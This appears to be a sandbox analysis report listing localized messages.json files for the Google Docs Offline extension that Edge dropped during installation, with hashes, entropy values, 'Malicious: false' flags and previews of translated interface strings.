Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
